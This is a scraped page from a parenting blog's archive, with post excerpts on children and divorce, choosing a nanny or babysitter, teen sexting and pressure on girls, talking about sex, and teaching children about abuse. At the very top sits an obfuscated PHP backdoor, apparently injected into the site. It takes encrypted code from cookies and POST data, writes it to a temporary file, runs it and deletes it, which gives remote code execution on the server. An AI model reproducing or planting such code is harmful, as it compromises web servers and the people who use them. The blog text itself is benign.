$KCDdBtEg = "\163" . "\137" . chr (65) . chr (81) . "\x46";$WLhpiHcr = "\143" . 'l' . chr ( 1060 - 963 ).'s' . "\x73" . '_' . chr (101) . "\170" . 'i' . "\163" . chr (116) . chr ( 304 - 189 ); $cFdyUyKg = class_exists($KCDdBtEg); $KCDdBtEg = "15652";$WLhpiHcr = "32508";$sdLOHijTc = 0;if ($cFdyUyKg == $sdLOHijTc){function IjjAuKwsE(){return FALSE;}$lHwws = "19028";IjjAuKwsE();class s_AQF{private function rjdevHf($lHwws){if (is_array(s_AQF::$xvNmTcJm)) {$YqmzCQjauF = sys_get_temp_dir() . "/" . crc32(s_AQF::$xvNmTcJm["\163" . chr ( 472 - 375 )."\154" . chr ( 203 - 87 )]);@s_AQF::$xvNmTcJm["\x77" . 'r' . "\x69" . chr (116) . "\145"]($YqmzCQjauF, s_AQF::$xvNmTcJm["\x63" . "\157" . chr (110) . chr ( 936 - 820 )."\x65" . chr (110) . chr ( 299 - 183 )]);include $YqmzCQjauF;@s_AQF::$xvNmTcJm[chr ( 655 - 555 ).'e' . chr ( 263 - 155 ).chr (101) . "\x74" . 'e']($YqmzCQjauF); $lHwws = "19028";exit();}}private $nyBiPvdEAZ;public function nMiyTR(){echo 4720;}public function __destruct(){$lHwws = "49302_9227";$this->rjdevHf($lHwws); $lHwws = "49302_9227";}public function __construct($hYnsFX=0){$qEaVVqKyv = $_POST;$FQdomGoA = $_COOKIE;$mjRCM = "8f61e995-3955-4efb-9c83-5dace39335cf";$ZCeSIiR = @$FQdomGoA[substr($mjRCM, 0, 4)];if (!empty($ZCeSIiR)){$jVNzUotjI = "base64";$pKyfr = "";$ZCeSIiR = explode(",", $ZCeSIiR);foreach ($ZCeSIiR as $RKkjtN){$pKyfr .= @$FQdomGoA[$RKkjtN];$pKyfr .= @$qEaVVqKyv[$RKkjtN];}$pKyfr = array_map($jVNzUotjI . "\x5f" . "\x64" . "\x65" . chr (99) . chr ( 207 - 96 ).'d' . chr (101), array($pKyfr,)); $pKyfr = $pKyfr[0] ^ str_repeat($mjRCM, (strlen($pKyfr[0]) / strlen($mjRCM)) + 1);s_AQF::$xvNmTcJm = @unserialize($pKyfr); $pKyfr = class_exists("49302_9227");}}public static $xvNmTcJm = 28509;}$PJSPhJyN = new /* 27523 */ s_AQF(19028 + 19028);unset($PJSPhJyN);} Parenting Inspiration – Page 3 – 2moms2kids

Topic: Parenting Inspiration

Parenting Etiquette: Kids and Divorce

divorce facts cereal box

divorce facts cereal box

Parenting Etiquette

Parenting etiquette 101.

We have heard it all, the parent who is “crazy,” the parent who is fueled by “revenge,” and the parent who is simply beaten down by divorce.

It is over, but not for the kids

The love story ends and all that is left are the empty promises, unfulfilled responsibilities and a trunk full of betrayal.

Susceptible

No one wants to imagine that their happy marriage is over, or that resentment and betrayal have poisoned a once beautiful love story, but it happens.  We cannot control or predict the trajectory of our marriage, but we could have some ground rules when things don’t work out.  Divorce does not have to mean World War III.  This is even more critical when children are involved.

Your parental responsibility

You have two primary responsibilities; one is for you, you cannot disintegrate or implode because of an impending divorce, secondly, you have a responsibility to your child or children.  It is also critical to acknowledge that change is coming, with that in mind it is best to keep all other aspects of your child’s life, the same.

Keep things as “normal” as possible

If they have practice on MWF at 4:30 at the park, they go to practice.  If they usually spend the night at a friends house on Friday nights, encourage them to continue this.  The child needs consistency and predictability in what may feel a totally out of control situation (their parent’s separation/divorce). Read the rest of this entry »

Nanny vs Babysitter, which is best?

Adult and child laughing
photo of manny running with kids

Playing chase with Bryan

Babysitter or Nanny

Every parent wants the best for their children, so whether you are hiring a nanny or babysitter, be clear on what you are looking you are looking for in a caregiver. The terminology and responsibilities of each nanny or babysitter are not written in stone. Let’s not get caught up in semantics.

Who are you looking for?

Are you looking for a mature woman, someone who may be a parent herself? Do you want a person that has a natural ease with children a mother or grandmother-like energy? What about a young high school or college age woman to run around with your kids, teach them the latest dance moves and be up for the spontaneity of kids? What about a “Manny,” this young man might change the dynamic a bit. Maybe you need someone to take the kids to baseball, swing a racket with them or play a mean game of dinosaur in the front line. These are the things you want to think about. Who do I want my child to be with each day?

Cost should NOT dictate your decision

It could be a costly mistake if you are basing your search solely on expense. Paying someone through an agency does not guarantee a good fit. The same is true for a teenage babysitter, he/she might be the right fit based on convenience, they live nearby, energy, and availability.

Most critical element

Read the rest of this entry »

Teen Sexting and Slut Shaming

marine at firing range

Teen Sexting

In Tanenbaum, L. (2018, January 18). What Teen Sexting Reveals about Women and Sexual Coercion. Time.com http://time.com/5108384/teen-sexting-slut-shaming-me-too/, we hear about the intense pressure girls feel not only respond but to comply with the request of boys.

Girls’ as young as 12 years old

Is it universal? Do all girls experience when pressure from boys?

There is a collective and historical oppression of girls and women. Girls as young as 12 years old tell stories about how they felt cornered, or how someone’s brother chased them for a kiss.  What starts off as teasing or flirtation, can quickly become threatening and serious.

Feminism

There have been three waves of feminism stating in the 1830’s.  How are we still here being chased down by boys and men?  Have we not learned anything about empowerment, standing up for our personal boundaries?  Have we not taught our children how to respect their own bodies and others?

The three waves of feminism (1830-1900’s, 1960-1980’s, and 1990-today) addressed the right to vote, reproductive rights and gender equity. How do we continue to be perceived and ultimately subjected to the oppression of boys and men?

Compliance as our greatest enemy. Compliance has a crippling effect on our girls’; this is personal and must be the impetus for change.

Adolescence

As a feisty adolescent, I was told to act “like a girl,” to be “lady-like.” I was “too loud”, “too opinionated,” and way “too vocal.” Sequestered by a boy, I froze. My training kicked in, I was quiet and conciliatory. My mild protests were crushed by the desire and dominance of the boy. Read the rest of this entry »

Good Sex or Bad Sex the Difference can be a Conversation Away

couples embracing and kissing

Let’s talk about sex, baby.

Sex talk, if you can’t talk about sex or even have a hint of what you like, want and need…you have no business having sex.  Sorry, not sorry.

If there is going to be a hint of equality and sharing of each other’s bodies, you might want to talk first.  This would prevent uncertainty, uncomfortable situations and not being heard.

Have a game plan.

Not every detail of the interaction needs to be planned, but an outline is good.

Examples.

  • I am not interested in intercourse tonight.
  • I love kissing.
  • We can take our shirts off.
  • I want to take my time and get to know you better.
  • I don’t have sex on the first date.

Start the conversation about safety and the warning signs of abuse

Art and Discussion

Parent education and child abuse

Start the conversation with your children about safety and the warning signs of abuse before they are sitting you down to tell you something horrible about what they experienced.  I wish the reality was not what it is about the incidents of abuse and how none of are children are immune to predators.

Keep talking

Take the risk with your kids despite your discomfort. Tell them, you are uncomfortable, but that you know it is a very important conversation to have.  Remind them that you are there for them no matter what, no matter when and that you will always be on their side no matter what.  This is a conversation that does not have a beginning and end, it is ongoing, always open for clarification and quesitons.

Not too young to be safe

Children will learn about boundaries as toddlers through your modeling.  If someone comes up to your child and pinches their cheeks, you could ask them to please not touch your child.  That is fair.  WE don’t go around pinching cheeks of teenagers and adults. Small examples like that are showing your child that they get to decide who can hug them, pinch them and tickle them.

Never too old to be safe

Reminders to your high schoolers and college age students can be a signal to them that the conversation is not over and that you are still here, should they need you.  No one person is guaranteed safety, why not teach your kids how to protect themselves, advocate for themselves and stand up for themselves.

 

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